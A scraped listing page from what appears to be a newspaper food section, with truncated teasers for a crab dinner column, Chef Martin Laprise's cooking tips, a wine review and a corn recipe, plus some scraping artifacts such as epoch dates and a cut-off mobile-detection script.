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A Pair Of Gourmands

Feb 26, 2005 / 5:30 am

Crab for Dinner! If you ever wanted to eat fresh crab one day, now is the time! The Queen Charlotte Island Crab has reached peak flavor. I felt like making something special, so last weekend I went to Hooked on Seafood and purchased a small live crab for $18. The owners of the fish store, nice pe

A Pair of Gourmands

Feb 19, 2005 / 5:30 am

Chef Martinís Tip 2: Planning is the difference between a good cook and a great cook. Whether in a restaurant cooking for 200 customers or having 6 people over for dinner at my house, I use the simple technique of visualizing every step of the meal. It really makes me see the details of the meal

Chef Martin""s Tips

Feb 12, 2005 / 5:30 am

by Martin Laprise - The Chef in Stead Chef Martinís Tip 1: You don""t need a $700 set of knives to cook gourmet meals, just one good knife. Always keep it sharp, and please don""t throw it in any kitchen drawers. Once you have a sharp knife, learn to use it, stay away from electrical cutting gi

Dec 31, 1969 / 4:00 pm

The Westside Wine Trail

Dec 31, 1969 / 4:00 pm

By: Helene Scott Photo: Contributed Mission Hill Family Estate,  Reserve Cabernet Shiraz 2009 - $34.99 A blend of 51% cabernet sauvignon and 49% shiraz. Soft, ripe berries, hint of pepper, subtle smoke and spice on the nose and the structured tannins. Complex, lin

Herb roasted corn on the cob

Dec 31, 1969 / 4:00 pm

Photo: Contributed - Quality Greens Farm Market   if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()


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